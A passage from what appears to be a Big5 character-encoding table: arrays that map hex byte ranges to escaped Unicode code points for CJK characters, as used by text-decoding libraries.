u5A20\u5A23\u5A29\u5A25\u5A0C\u5A09\u5B6B\u5C58\u5BB0\u5BB3\u5BB6\u5BB4\u5BAE\u5BB5\u5BB9\u5BB8\u5C04\u5C51\u5C55\u5C50\u5CED\u5CFD\u5CFB\u5CEA\u5CE8\u5CF0\u5CF6\u5D01\u5CF4\u5DEE\u5E2D\u5E2B\u5EAB\u5EAD\u5EA7\u5F31\u5F92\u5F91\u5F90\u6059"],["aea1","\u6063\u6065\u6050\u6055\u606D\u6069\u606F\u6084\u609F\u609A\u608D\u6094\u608C\u6085\u6096\u6247\u62F3\u6308\u62FF\u634E\u633E\u632F\u6355\u6342\u6346\u634F\u6349\u633A\u6350\u633D\u632A\u632B\u6328\u634D\u634C\u6548\u6549\u6599\u65C1\u65C5\u6642\u6649\u664F\u6643\u6652\u664C\u6645\u6641\u66F8\u6714\u6715\u6717\u6821\u6838\u6848\u6846\u6853\u6839\u6842\u6854\u6829\u68B3\u6817\u684C\u6851\u683D\u67F4\u6850\u6840\u683C\u6843\u682A\u6845\u6813\u6818\u6841\u6B8A\u6B89\u6BB7\u6C23\u6C27\u6C28\u6C26\u6C24\u6CF0\u6D6A\u6D95\u6D88\u6D87\u6D66\u6D78\u6D77\u6D59\u6D93"],["af40","\u6D6C\u6D89\u6D6E\u6D5A\u6D74\u6D69\u6D8C\u6D8A\u6D79\u6D85\u6D65\u6D94\u70CA\u70D8\u70E4\u70D9\u70C8\u70CF\u7239\u7279\u72FC\u72F9\u72FD\u72F8\u72F7\u7386\u73ED\u7409\u73EE\u73E0\u73EA\u73DE\u7554\u755D\u755C\u755A\u7559\u75BE\u75C5\u75C7\u75B2\u75B3\u75BD\u75BC\u75B9\u75C2\u75B8\u768B\u76B0\u76CA\u76CD\u76CE\u7729\u771F\u7720\u7728\u77E9\u7830\u7827\u7838\u781D\u7834\u7837"],["afa1","\u7825\u782D\u7820\u781F\u7832\u7955\u7950\u7960\u795F\u7956\u795E\u795D\u7957\u795A\u79E4\u79E3\u79E7\u79DF\u79E6\u79E9\u79D8\u7A84\u7A88\u7AD9\u7B06\u7B11\u7C89\u7D21\u7D17\u7D0B\u7D0A\u7D20\u7D22\u7D14\u7D10\u7D15\u7D1A\u7D1C\u7D0D\u7D19\u7D1B\u7F3A\u7F5F\u7F94\u7FC5\u7FC1\u8006\u8018\u8015\u8019\u8017\u803D\u803F\u80F1\u8102\u80F0\u8105\u80ED\u80F4\u8106\u80F8\u80F3\u8108\u80FD\u810A\u80FC\u80EF\u81ED\u81EC\u8200\u8210\u822A\u822B\u8228\u822C\u82BB\u832B\u8352\u8354\u834A\u8338\u8350\u8349\u8335\u8334\u834F\u8332\u8339\u8336\u8317\u8340\u8331\u8328\u8343"],["b040","\u8654\u868A\u86AA\u8693\u86A4\u86A9\u868C\u86A3\u869C\u8870\u8877\u8881\u8882\u887D\u8879\u8A18\u8A10\u8A0E\u8A0C\u8A15\u8A0A\u8A17\u8A13\u8A16\u8A0F\u8A11\u8C48\u8C7A\u8C79\u8CA1\u8CA2\u8D77\u8EAC\u8ED2\u8ED4\u8ECF\u8FB1\u9001\u9006\u8FF7\u9000\u8FFA\u8FF4\u9003\u8FFD\u9005\u8FF8\u9095\u90E1\u90DD\u90E2\u9152\u914D\u914C\u91D8\u91DD\u91D7\u91DC\u91D9\u9583\u9662\u9663\u9661"],["b0a1","\u965B\u965D\u9664\u9658\u965E\u96BB\u98E2\u99AC\u9AA8\u9AD8\u9B25\u9B32\u9B3C\u4E7E\u507A\u507D\u505C\u5047\u5043\u504C\u505A\u5049\u5065\u5076\u504E\u5055\u5075\u5074\u5077\u504F\u500F\u506F\u506D\u515C\u5195\u51F0\u526A\u526F\u52D2\u52D9\u52D8\u52D5\u5310\u530F\u5319\u533F\u5340\u533E\u53C3\u66FC\u5546\u556A\u5566\u5544\u555E\u5561\u5543\u554A\u5531\u5556\u554F\u5555\u552F\u5564\u5538\u552E\u555C\u552C\u5563\u5533\u5541\u5557\u5708\u570B\u5709\u57DF\u5805\u580A\u5806\u57E0\u57E4\u57FA\u5802\u5835\u57F7\u57F9\u5920\u5962\u5A36\u5A41\u5A49\u5A66\u5A6A\u5A40"],["b140","\u5A3C\u5A62\u5A5A\u5A46\u5A4A\u5B70\u5BC7\u5BC5\u5BC4\u5BC2\u5BBF\u5BC6\u5C09\u5C08\u5C07\u5C60\u5C5C\u5C5D\u5D07\u5D06\u5D0E\u5D1B\u5D16\u5D22\u5D11\u5D29\u5D14\u5D19\u5D24\u5D27\u5D17\u5DE2\u5E38\u5E36\u5E33\u5E37\u5EB7\u5EB8\u5EB6\u5EB5\u5EBE\u5F35\u5F37\u5F57\u5F6C\u5F69\u5F6B\u5F97\u5F99\u5F9E\u5F98\u5FA1\u5FA0\u5F9C\u607F\u60A3\u6089\u60A0\u60A8\u60CB\u60B4\u60E6\u60BD"],["b1a1","\u60C5\u60BB\u60B5\u60DC\u60BC\u60D8\u60D5\u60C6\u60DF\u60B8\u60DA\u60C7\u621A\u621B\u6248\u63A0\u63A7\u6372\u6396\u63A2\u63A5\u6377\u6367\u6398\u63AA\u6371\u63A9\u6389\u6383\u639B\u636B\u63A8\u6384\u6388\u6399\u63A1\u63AC\u6392\u638F\u6380\u637B\u6369\u6368\u637A\u655D\u6556\u6551\u6559\u6557\u555F\u654F\u6558\u6555\u6554\u659C\u659B\u65AC\u65CF\u65CB\u65CC\u65CE\u665D\u665A\u6664\u6668\u6666\u665E\u66F9\u52D7\u671B\u6881\u68AF\u68A2\u6893\u68B5\u687F\u6876\u68B1\u68A7\u6897\u68B0\u6883\u68C4\u68AD\u6886\u6885\u6894\u689D\u68A8\u689F\u68A1\u6882\u6B32\u6BBA"],["b240","\u6BEB\u6BEC\u6C2B\u6D8E\u6DBC\u6DF3\u6DD9\u6DB2\u6DE1\u6DCC\u6DE4\u6DFB\u6DFA\u6E05\u6DC7\u6DCB\u6DAF\u6DD1\u6DAE\u6DDE\u6DF9\u6DB8\u6DF7\u6DF5\u6DC5\u6DD2\u6E1A\u6DB5\u6DDA\u6DEB\u6DD8\u6DEA\u6DF1\u6DEE\u6DE8\u6DC6\u6DC4\u6DAA\u6DEC\u6DBF\u6DE6\u70F9\u7109\u710A\u70FD\u70EF\u723D\u727D\u7281\u731C\u731B\u7316\u7313\u7319\u7387\u7405\u740A\u7403\u7406\u73FE\u740D\u74E0\u74F6"],["b2a1","\u74F7\u751C\u7522\u7565\u7566\u7562\u7570\u758F\u75D4\u75D5\u75B5\u75CA\u75CD\u768E\u76D4\u76D2\u76DB\u7737\u773E\u773C\u7736\u7738\u773A\u786B\u7843\u784E\u7965\u7968\u796D\u79FB\u7A92\u7A95\u7B20\u7B28\u7B1B\u7B2C\u7B26\u7B19\u7B1E\u7B2E\u7C92\u7C97\u7C95\u7D46\u7D43\u7D71\u7D2E\u7D39\u7D3C\u7D40\u7D30\u7D33\u7D44\u7D2F\u7D42\u7D32\u7D31\u7F3D\u7F9E\u7F9A\u7FCC\u7FCE\u7FD2\u801C\u804A\u8046\u812F\u8116\u8123\u812B\u8129\u8130\u8124\u8202\u8235\u8237\u8236\u8239\u838E\u839E\u8398\u8378\u83A2\u8396\u83BD\u83AB\u8392\u838A\u8393\u8389\u83A0\u8377\u837B\u837C"],["b340","\u8386\u83A7\u8655\u5F6A\u86C7\u86C0\u86B6\u86C4\u86B5\u86C6\u86CB\u86B1\u86AF\u86C9\u8853\u889E\u8888\u88AB\u8892\u8896\u888D\u888B\u8993\u898F\u8A2A\u8A1D\u8A23\u8A25\u8A31\u8A2D\u8A1F\u8A1B\u8A22\u8C49\u8C5A\u8CA9\u8CAC\u8CAB\u8CA8\u8CAA\u8CA7\u8D67\u8D66\u8DBE\u8DBA\u8EDB\u8EDF\u9019\u900D\u901A\u9017\u9023\u901F\u901D\u9010\u9015\u901E\u9020\u900F\u9022\u9016\u901B\u9014"],["b3a1","\u90E8\u90ED\u90FD\u9157\u91CE\u91F5\u91E6\u91E3\u91E7\u91ED\u91E9\u9589\u966A\u9675\u9673\u9678\u9670\u9674\u9676\u9677\u966C\u96C0\u96EA\u96E9\u7AE0\u7ADF\u9802\u9803\u9B5A\u9CE5\u9E75\u9E7F\u9EA5\u9EBB\u50A2\u508D\u5085\u5099\u5091\u5080\u5096\u5098\u509A\u6700\u51F1\u5272\u5274\u5275\u5269\u52DE\u52DD\u52DB\u535A\u53A5\u557B\u5580\u55A7\u557C\u558A\u559D\u5598\u5582\u559C\u55AA\u5594\u5587\u558B\u5583\u55B3\u55AE\u559F\u553E\u55B2\u559A\u55BB\u55AC\u55B1\u557E\u5589\u55AB\u5599\u570D\u582F\u582A\u5834\u5824\u5830\u5831\u5821\u581D\u5820\u58F9\u58FA\u5960"],["b440","\u5A77\u5A9A\u5A7F\u5A92\u5A9B\u5AA7\u5B73\u5B71\u5BD2\u5BCC\u5BD3\u5BD0\u5C0A\u5C0B\u5C31\u5D4C\u5D50\u5D34\u5D47\u5DFD\u5E45\u5E3D\u5E40\u5E43\u5E7E\u5ECA\u5EC1\u5EC2\u5EC4\u5F3C\u5F6D\u5FA9\u5FAA\u5FA8\u60D1\u60E1\u60B2\u60B6\u60E0\u611C\u6123\u60FA\u6115\u60F0\u60FB\u60F4\u6168\u60F1\u610E\u60F6\u6109\u6100\u6112\u621F\u6249\u63A3\u638C\u63CF\u63C0\u63E9\u63C9\u63C6\u63CD"],["b4a1","\u63D2\u63E3\u63D0\u63E1\u63D6\u63ED\u63EE\u6376\u63F4\u63EA\u63DB\u6452\u63DA\u63F9\u655E\u6566\u6562\u6563\u6591\u6590\u65AF\u666E\u6670\u6674\u6676\u666F\u6691\u667A\u667E\u6677\u66FE\u66FF\u671F\u671D\u68FA\u68D5\u68E0\u68D8\u68D7\u6905\u68DF\u68F5\u68EE\u68E7\u68F9\u68D2\u68F2\u68E3\u68CB\u68CD\u690D\u6912\u690E\u68C9\u68DA\u696E\u68FB\u6B3E\u6B3A\u6B3D\u6B98\u6B96\u6BBC\u6BEF\u6C2E\u6C2F\u6C2C\u6E2F\u6E38\u6E54\u6E21\u6E32\u6E67\u6E4A\u6E20\u6E25\u6E23\u6E1B\u6E5B\u6E58\u6E24\u6E56\u6E6E\u6E2D\u6E26\u6E6F\u6E34\u6E4D\u6E3A\u6E2C\u6E43\u6E1D\u6E3E\u6ECB"],["b540","\u6E89\u6E19\u6E4E\u6E63\u6E44\u6E72\u6E69\u6E5F\u7119\u711A\u7126\u7130\u7121\u7136\u716E\u711C\u724C\u7284\u7280\u7336\u7325\u7334\u7329\u743A\u742A\u7433\u7422\u7425\u7435\u7436\u7434\u742F\u741B\u7426\u7428\u7525\u7526\u756B\u756A\u75E2\u75DB\u75E3\u75D9\u75D8\u75DE\u75E0\u767B\u767C\u7696\u7693\u76B4\u76DC\u774F\u77ED\u785D\u786C\u786F\u7A0D\u7A08\u7A0B\u7A05\u7A00\u7A98"],["b5a1","\u7A97\u7A96\u7AE5\u7AE3\u7B49\u7B56\u7B46\u7B50\u7B52\u7B54\u7B4D\u7B4B\u7B4F\u7B51\u7C9F\u7CA5\u7D5E\u7D50\u7D68\u7D55\u7D2B\u7D6E\u7D72\u7D61\u7D66\u7D62\u7D70\u7D73\u5584\u7FD4\u7FD5\u800B\u8052\u8085\u8155\u8154\u814B\u8151\u814E\u8139\u8146\u813E\u814C\u8153\u8174\u8212\u821C\u83E9\u8403\u83F8\u840D\u83E0\u83C5\u840B\u83C1\u83EF\u83F1\u83F4\u8457\u840A\u83F0\u840C\u83CC\u83FD\u83F2\u83CA\u8438\u840E\u8404\u83DC\u8407\u83D4\u83DF\u865B\u86DF\u86D9\u86ED\u86D4\u86DB\u86E4\u86D0\u86DE\u8857\u88C1\u88C2\u88B1\u8983\u8996\u8A3B\u8A60\u8A55\u8A5E\u8A3C\u8A41"],["b640","\u8A54\u8A5B\u8A50\u8A46\u8A34\u8A3A\u8A36\u8A56\u8C61\u8C82\u8CAF\u8CBC\u8CB3\u8CBD\u8CC1\u8CBB\u8CC0\u8CB4\u8CB7\u8CB6\u8CBF\u8CB8\u8D8A\u8D85\u8D81\u8DCE\u8DDD\u8DCB\u8DDA\u8DD1\u8DCC\u8DDB\u8DC6\u8EFB\u8EF8\u8EFC\u8F9C\u902E\u9035\u9031\u9038\u9032\u9036\u9102\u90F5\u9109\u90FE\u9163\u9165\u91CF\u9214\u9215\u9223\u9209\u921E\u920D\u9210\u9207\u9211\u9594\u958F\u958B\u9591"],["b6a1","\u9593\u9592\u958E\u968A\u968E\u968B\u967D\u9685\u9686\u968D\u9672\u9684\u96C1\u96C5\u96C4\u96C6\u96C7\u96EF\u96F2\u97CC\u9805\u9806\u9808\u98E7\u98EA\u98EF\u98E9\u98F2\u98ED\u99AE\u99AD\u9EC3\u9ECD\u9ED1\u4E82\u50AD\u50B5\u50B2\u50B3\u50C5\u50BE\u50AC\u50B7\u50BB\u50AF\u50C7\u527F\u5277\u527D\u52DF\u52E6\u52E4\u52E2\u52E3\u532F\u55DF\u55E8\u55D3\u55E6\u55CE\u55DC\u55C7\u55D1\u55E3\u55E4\u55EF\u55DA\u55E1\u55C5\u55C6\u55E5\u55C9\u5712\u5713\u585E\u5851\u5858\u5857\u585A\u5854\u586B\u584C\u586D\u584A\u5862\u5852\u584B\u5967\u5AC1\u5AC9\u5ACC\u5ABE\u5ABD\u5ABC"],["b740","\u5AB3\u5AC2\u5AB2\u5D69\u5D6F\u5E4C\u5E79\u5EC9\u5EC8\u5F12\u5F59\u5FAC\u5FAE\u611A\u610F\u6148\u611F\u60F3\u611B\u60F9\u6101\u6108\u614E\u614C\u6144\u614D\u613E\u6134\u6127\u610D\u6106\u6137\u6221\u6222\u6413\u643E\u641E\u642A\u642D\u643D\u642C\u640F\u641C\u6414\u640D\u6436\u6416\u6417\u6406\u656C\u659F\u65B0\u6697\u6689\u6687\u6688\u6696\u6684\u6698\u668D\u6703\u6994\u696D"],["b7a1","\u695A\u6977\u6960\u6954\u6975\u6930\u6982\u694A\u6968\u696B\u695E\u6953\u6979\u6986\u695D\u6963\u695B\u6B47\u6B72\u6BC0\u6BBF\u6BD3\u6BFD\u6EA2\u6EAF\u6ED3\u6EB6\u6EC2\u6E90\u6E9D\u6EC7\u6EC5\u6EA5\u6E98\u6EBC\u6EBA\u6EAB\u6ED1\u6E96\u6E9C\u6EC4\u6ED4\u6EAA\u6EA7\u6EB4\u714E\u7159\u7169\u7164\u7149\u7167\u715C\u716C\u7166\u714C\u7165\u715E\u7146\u7168\u7156\u723A\u7252\u7337\u7345\u733F\u733E\u746F\u745A\u7455\u745F\u745E\u7441\u743F\u7459\u745B\u745C\u7576\u7578\u7600\u75F0\u7601\u75F2\u75F1\u75FA\u75FF\u75F4\u75F3\u76DE\u76DF\u775B\u776B\u7766\u775E\u7763"],["b840","\u7779\u776A\u776C\u775C\u7765\u7768\u7762\u77EE\u788E\u78B0\u7897\u7898\u788C\u7889\u787C\u7891\u7893\u787F\u797A\u797F\u7981\u842C\u79BD\u7A1C\u7A1A\u7A20\u7A14\u7A1F\u7A1E\u7A9F\u7AA0\u7B77\u7BC0\u7B60\u7B6E\u7B67\u7CB1\u7CB3\u7CB5\u7D93\u7D79\u7D91\u7D81\u7D8F\u7D5B\u7F6E\u7F69\u7F6A\u7F72\u7FA9\u7FA8\u7FA4\u8056\u8058\u8086\u8084\u8171\u8170\u8178\u8165\u816E\u8173\u816B"],["b8a1","\u8179\u817A\u8166\u8205\u8247\u8482\u8477\u843D\u8431\u8475\u8466\u846B\u8449\u846C\u845B\u843C\u8435\u8461\u8463\u8469\u846D\u8446\u865E\u865C\u865F\u86F9\u8713\u8708\u8707\u8700\u86FE\u86FB\u8702\u8703\u8706\u870A\u8859\u88DF\u88D4\u88D9\u88DC\u88D8\u88DD\u88E1\u88CA\u88D5\u88D2\u899C\u89E3\u8A6B\u8A72\u8A73\u8A66\u8A69\u8A70\u8A87\u8A7C\u8A63\u8AA0\u8A71\u8A85\u8A6D\u8A62\u8A6E\u8A6C\u8A79\u8A7B\u8A3E\u8A68\u8C62\u8C8A\u8C89\u8CCA\u8CC7\u8CC8\u8CC4\u8CB2\u8CC3\u8CC2\u8CC5\u8DE1\u8DDF\u8DE8\u8DEF\u8DF3\u8DFA\u8DEA\u8DE4\u8DE6\u8EB2\u8F03\u8F09\u8EFE\u8F0A"],["b940","\u8F9F\u8FB2\u904B\u904A\u9053\u9042\u9054\u903C\u9055\u9050\u9047\u904F\u904E\u904D\u9051\u903E\u9041\u9112\u9117\u916C\u916A\u9169\u91C9\u9237\u9257\u9238\u923D\u9240\u923E\u925B\u924B\u9264\u9251\u9234\u9249\u924D\u9245\u9239\u923F\u925A\u9598\u9698\u9694\u9695\u96CD\u96CB\u96C9\u96CA\u96F7\u96FB\u96F9\u96F6\u9756\u9774\u9776\u9810\u9811\u9813\u980A\u9812\u980C\u98FC\u98F4"],["b9a1","\u98FD\u98FE\u99B3\u99B1\u99B4\u9AE1\u9CE9\u9E82\u9F0E\u9F13\u9F20\u50E7\u50EE\u50E5\u50D6\u50ED\u50DA\u50D5\u50CF\u50D1\u50F1\u50CE\u50E9\u5162\u51F3\u5283\u5282\u5331\u53AD\u55FE\u5600\u561B\u5617\u55FD\u5614\u5606\u5609\u560D\u560E\u55F7\u5616\u561F\u5608\u5610\u55F6\u5718\u5716\u5875\u587E\u5883\u5893\u588A\u5879\u5885\u587D\u58FD\u5925\u5922\u5924\u596A\u5969\u5AE1\u5AE6\u5AE9\u5AD7\u5AD6\u5AD8\u5AE3\u5B75\u5BDE\u5BE7\u5BE1\u5BE5\u5BE6\u5BE8\u5BE2\u5BE4\u5BDF\u5C0D\u5C62\u5D84\u5D87\u5E5B\u5E63\u5E55\u5E57\u5E54\u5ED3\u5ED6\u5F0A\u5F46\u5F70\u5FB9\u6147"],["ba40","\u613F\u614B\u6177\u6162\u6163\u615F\u615A\u6158\u6175\u622A\u6487\u6458\u6454\u64A4\u6478\u645F\u647A\u6451\u6467\u6434\u646D\u647B\u6572\u65A1\u65D7\u65D6\u66A2\u66A8\u669D\u699C\u69A8\u6995\u69C1\u69AE\u69D3\u69CB\u699B\u69B7\u69BB\u69AB\u69B4\u69D0\u69CD\u69AD\u69CC\u69A6\u69C3\u69A3\u6B49\u6B4C\u6C33\u6F33\u6F14\u6EFE\u6F13\u6EF4\u6F29\u6F3E\u6F20\u6F2C\u6F0F\u6F02\u6F22"],["baa1","\u6EFF\u6EEF\u6F06\u6F31\u6F38\u6F32\u6F23\u6F15\u6F2B\u6F2F\u6F88\u6F2A\u6EEC\u6F01\u6EF2\u6ECC\u6EF7\u7194\u7199\u717D\u718A\u7184\u7192\u723E\u7292\u7296\u7344\u7350\u7464\u7463\u746A\u7470\u746D\u7504\u7591\u7627\u760D\u760B\u7609\u7613\u76E1\u76E3\u7784\u777D\u777F\u7761\u78C1\u789F\u78A7\u78B3\u78A9\u78A3\u798E\u798F\u798D\u7A2E\u7A31\u7AAA\u7AA9\u7AED\u7AEF\u7BA1\u7B95\u7B8B\u7B75\u7B97\u7B9D\u7B94\u7B8F\u7BB8\u7B87\u7B84\u7CB9\u7CBD\u7CBE\u7DBB\u7DB0\u7D9C\u7DBD\u7DBE\u7DA0\u7DCA\u7DB4\u7DB2\u7DB1\u7DBA\u7DA2\u7DBF\u7DB5\u7DB8\u7DAD\u7DD2\u7DC7\u7DAC"],["bb40","\u7F70\u7FE0\u7FE1\u7FDF\u805E\u805A\u8087\u8150\u8180\u818F\u8188\u818A\u817F\u8182\u81E7\u81FA\u8207\u8214\u821E\u824B\u84C9\u84BF\u84C6\u84C4\u8499\u849E\u84B2\u849C\u84CB\u84B8\u84C0\u84D3\u8490\u84BC\u84D1\u84CA\u873F\u871C\u873B\u8722\u8725\u8734\u8718\u8755\u8737\u8729\u88F3\u8902\u88F4\u88F9\u88F8\u88FD\u88E8\u891A\u88EF\u8AA6\u8A8C\u8A9E\u8AA3\u8A8D\u8AA1\u8A93\u8AA4"],["bba1","\u8AAA\u8AA5\u8AA8\u8A98\u8A91\u8A9A\u8AA7\u8C6A\u8C8D\u8C8C\u8CD3\u8CD1\u8CD2\u8D6B\u8D99\u8D95\u8DFC\u8F14\u8F12\u8F15\u8F13\u8FA3\u9060\u9058\u905C\u9063\u9059\u905E\u9062\u905D\u905B\u9119\u9118\u911E\u9175\u9178\u9177\u9174\u9278\u9280\u9285\u9298\u9296\u927B\u9293\u929C\u92A8\u927C\u9291\u95A1\u95A8\u95A9\u95A3\u95A5\u95A4\u9699\u969C\u969B\u96CC\u96D2\u9700\u977C\u9785\u97F6\u9817\u9818\u98AF\u98B1\u9903\u9905\u990C\u9909\u99C1\u9AAF\u9AB0\u9AE6\u9B41\u9B42\u9CF4\u9CF6\u9CF3\u9EBC\u9F3B\u9F4A\u5104\u5100\u50FB\u50F5\u50F9\u5102\u5108\u5109\u5105\u51DC"],["bc40","\u5287\u5288\u5289\u528D\u528A\u52F0\u53B2\u562E\u563B\u5639\u5632\u563F\u5634\u5629\u5653\u564E\u5657\u5674\u5636\u562F\u5630\u5880\u589F\u589E\u58B3\u589C\u58AE\u58A9\u58A6\u596D\u5B09\u5AFB\u5B0B\u5AF5\u5B0C\u5B08\u5BEE\u5BEC\u5BE9\u5BEB\u5C64\u5C65\u5D9D\u5D94\u5E62\u5E5F\u5E61\u5EE2\u5EDA\u5EDF\u5EDD\u5EE3\u5EE0\u5F48\u5F71\u5FB7\u5FB5\u6176\u6167\u616E\u615D\u6155\u6182"],["bca1","\u617C\u6170\u616B\u617E\u61A7\u6190\u61AB\u618E\u61AC\u619A\u61A4\u6194\u61AE\u622E\u6469\u646F\u6479\u649E\u64B2\u6488\u6490\u64B0\u64A5\u6493\u6495\u64A9\u6492\u64AE\u64AD\u64AB\u649A\u64AC\u6499\u64A2\u64B3\u6575\u6577\u6578\u66AE\u66AB\u66B4\u66B1\u6A23\u6A1F\u69E8\u6A01\u6A1E\u6A19\u69FD\u6A21\u6A13\u6A0A\u69F3\u6A02\u6A05\u69ED\u6A11\u6B50\u6B4E\u6BA4\u6BC5\u6BC6\u6F3F\u6F7C\u6F84\u6F51\u6F66\u6F54\u6F86\u6F6D\u6F5B\u6F78\u6F6E\u6F8E\u6F7A\u6F70\u6F64\u6F97\u6F58\u6ED5\u6F6F\u6F60\u6F5F\u719F\u71AC\u71B1\u71A8\u7256\u729B\u734E\u7357\u7469\u748B\u7483"],["bd40","\u747E\u7480\u757F\u7620\u7629\u761F\u7624\u7626\u7621\u7622\u769A\u76BA\u76E4\u778E\u7787\u778C\u7791\u778B\u78CB\u78C5\u78BA\u78CA\u78BE\u78D5\u78BC\u78D0\u7A3F\u7A3C\u7A40\u7A3D\u7A37\u7A3B\u7AAF\u7AAE\u7BAD\u7BB1\u7BC4\u7BB4\u7BC6\u7BC7\u7BC1\u7BA0\u7BCC\u7CCA\u7DE0\u7DF4\u7DEF\u7DFB\u7DD8\u7DEC\u7DDD\u7DE8\u7DE3\u7DDA\u7DDE\u7DE9\u7D9E\u7DD9\u7DF2\u7DF9\u7F75\u7F77\u7FAF"],["bda1","\u7FE9\u8026\u819B\u819C\u819D\u81A0\u819A\u8198\u8517\u853D\u851A\u84EE\u852C\u852D\u8513\u8511\u8523\u8521\u8514\u84EC\u8525\u84FF\u8506\u8782\u8774\u8776\u8760\u8766\u8778\u8768\u8759\u8757\u874C\u8753\u885B\u885D\u8910\u8907\u8912\u8913\u8915\u890A\u8ABC\u8AD2\u8AC7\u8AC4\u8A95\u8ACB\u8AF8\u8AB2\u8AC9\u8AC2\u8ABF\u8AB0\u8AD6\u8ACD\u8AB6\u8AB9\u8ADB\u8C4C\u8C4E\u8C6C\u8CE0\u8CDE\u8CE6\u8CE4\u8CEC\u8CED\u8CE2\u8CE3\u8CDC\u8CEA\u8CE1\u8D6D\u8D9F\u8DA3\u8E2B\u8E10\u8E1D\u8E22\u8E0F\u8E29\u8E1F\u8E21\u8E1E\u8EBA\u8F1D\u8F1B\u8F1F\u8F29\u8F26\u8F2A\u8F1C\u8F1E"],["be40","\u8F25\u9069\u906E\u9068\u906D\u9077\u9130\u912D\u9127\u9131\u9187\u9189\u918B\u9183\u92C5\u92BB\u92B7\u92EA\u92AC\u92E4\u92C1\u92B3\u92BC\u92D2\u92C7\u92F0\u92B2\u95AD\u95B1\u9704\u9706\u9707\u9709\u9760\u978D\u978B\u978F\u9821\u982B\u981C\u98B3\u990A\u9913\u9912\u9918\u99DD\u99D0\u99DF\u99DB\u99D1\u99D5\u99D2\u99D9\u9AB7\u9AEE\u9AEF\u9B27\u9B45\u9B44\u9B77\u9B6F\u9D06\u9D09"],["bea1","\u9D03\u9EA9\u9EBE\u9ECE\u58A8\u9F52\u5112\u5118\u5114\u5110\u5115\u5180\u51AA\u51DD\u5291\u5293\u52F3\u5659\u566B\u5679\u5669\u5664\u5678\u566A\u5668\u5665\u5671\u566F\u566C\u5662\u5676\u58C1\u58BE\u58C7\u58C5\u596E\u5B1D\u5B34\u5B78\u5BF0\u5C0E\u5F4A\u61B2\u6191\u61A9\u618A\u61CD\u61B6\u61BE\u61CA\u61C8\u6230\u64C5\u64C1\u64CB\u64BB\u64BC\u64DA\u64C4\u64C7\u64C2\u64CD\u64BF\u64D2\u64D4\u64BE\u6574\u66C6\u66C9\u66B9\u66C4\u66C7\u66B8\u6A3D\u6A38\u6A3A\u6A59\u6A6B\u6A58\u6A39\u6A44\u6A62\u6A61\u6A4B\u6A47\u6A35\u6A5F\u6A48\u6B59\u6B77\u6C05\u6FC2\u6FB1\u6FA1"],["bf40","\u6FC3\u6FA4\u6FC1\u6FA7\u6FB3\u6FC0\u6FB9\u6FB6\u6FA6\u6FA0\u6FB4\u71BE\u71C9\u71D0\u71D2\u71C8\u71D5\u71B9\u71CE\u71D9\u71DC\u71C3\u71C4\u7368\u749C\u74A3\u7498\u749F\u749E\u74E2\u750C\u750D\u7634\u7638\u763A\u76E7\u76E5\u77A0\u779E\u779F\u77A5\u78E8\u78DA\u78EC\u78E7\u79A6\u7A4D\u7A4E\u7A46\u7A4C\u7A4B\u7ABA\u7BD9\u7C11\u7BC9\u7BE4\u7BDB\u7BE1\u7BE9\u7BE6\u7CD5\u7CD6\u7E0A"],["bfa1","\u7E11\u7E08\u7E1B\u7E23\u7E1E\u7E1D\u7E09\u7E10\u7F79\u7FB2\u7FF0\u7FF1\u7FEE\u8028\u81B3\u81A9\u81A8\u81FB\u8208\u8258\u8259\u854A\u8559\u8548\u8568\u8569\u8543\u8549\u856D\u856A\u855E\u8783\u879F\u879E\u87A2\u878D\u8861\u892A\u8932\u8925\u892B\u8921\u89AA\u89A6\u8AE6\u8AFA\u8AEB\u8AF1\u8B00\u8ADC\u8AE7\u8AEE\u8AFE\u8B01\u8B02\u8AF7\u8AED\u8AF3\u8AF6\u8AFC\u8C6B\u8C6D\u8C93\u8CF4\u8E44\u8E31\u8E34\u8E42\u8E39\u8E35\u8F3B\u8F2F\u8F38\u8F33\u8FA8\u8FA6\u9075\u9074\u9078\u9072\u907C\u907A\u9134\u9192\u9320\u9336\u92F8\u9333\u932F\u9322\u92FC\u932B\u9304\u931A"],["c040","\u9310\u9326\u9321\u9315\u932E\u9319\u95BB\u96A7\u96A8\u96AA\u96D5\u970E\u9711\u9716\u970D\u9713\u970F\u975B\u975C\u9766\u9798\u9830\u9838\u983B\u9837\u982D\u9839\u9824\u9910\u9928\u991E\u991B\u9921\u991A\u99ED\u99E2\u99F1\u9AB8\u9ABC\u9AFB\u9AED\u9B28\u9B91\u9D15\u9D23\u9D26\u9D28\u9D12\u9D1B\u9ED8\u9ED4\u9F8D\u9F9C\u512A\u511F\u5121\u5132\u52F5\u568E\u5680\u5690\u5685\u5687"],["c0a1","\u568F\u58D5\u58D3\u58D1\u58CE\u5B30\u5B2A\u5B24\u5B7A\u5C37\u5C68\u5DBC\u5DBA\u5DBD\u5DB8\u5E6B\u5F4C\u5FBD\u61C9\u61C2\u61C7\u61E6\u61CB\u6232\u6234\u64CE\u64CA\u64D8\u64E0\u64F0\u64E6\u64EC\u64F1\u64E2\u64ED\u6582\u6583\u66D9\u66D6\u6A80\u6A94\u6A84\u6AA2\u6A9C\u6ADB\u6AA3\u6A7E\u6A97\u6A90\u6AA0\u6B5C\u6BAE\u6BDA\u6C08\u6FD8\u6FF1\u6FDF\u6FE0\u6FDB\u6FE4\u6FEB\u6FEF\u6F80\u6FEC\u6FE1\u6FE9\u6FD5\u6FEE\u6FF0\u71E7\u71DF\u71EE\u71E6\u71E5\u71ED\u71EC\u71F4\u71E0\u7235\u7246\u7370\u7372\u74A9\u74B0\u74A6\u74A8\u7646\u7642\u764C\u76EA\u77B3\u77AA\u77B0\u77AC"],["c140","\u77A7\u77AD\u77EF\u78F7\u78FA\u78F4\u78EF\u7901\u79A7\u79AA\u7A57\u7ABF\u7C07\u7C0D\u7BFE\u7BF7\u7C0C\u7BE0\u7CE0\u7CDC\u7CDE\u7CE2\u7CDF\u7CD9\u7CDD\u7E2E\u7E3E\u7E46\u7E37\u7E32\u7E43\u7E2B\u7E3D\u7E31\u7E45\u7E41\u7E34\u7E39\u7E48\u7E35\u7E3F\u7E2F\u7F44\u7FF3\u7FFC\u8071\u8072\u8070\u806F\u8073\u81C6\u81C3\u81BA\u81C2\u81C0\u81BF\u81BD\u81C9\u81BE\u81E8\u8209\u8271\u85AA"],["c1a1","\u8584\u857E\u859C\u8591\u8594\u85AF\u859B\u8587\u85A8\u858A\u8667\u87C0\u87D1\u87B3\u87D2\u87C6\u87AB\u87BB\u87BA\u87C8\u87CB\u893B\u8936\u8944\u8938\u893D\u89AC\u8B0E\u8B17\u8B19\u8B1B\u8B0A\u8B20\u8B1D\u8B04\u8B10\u8C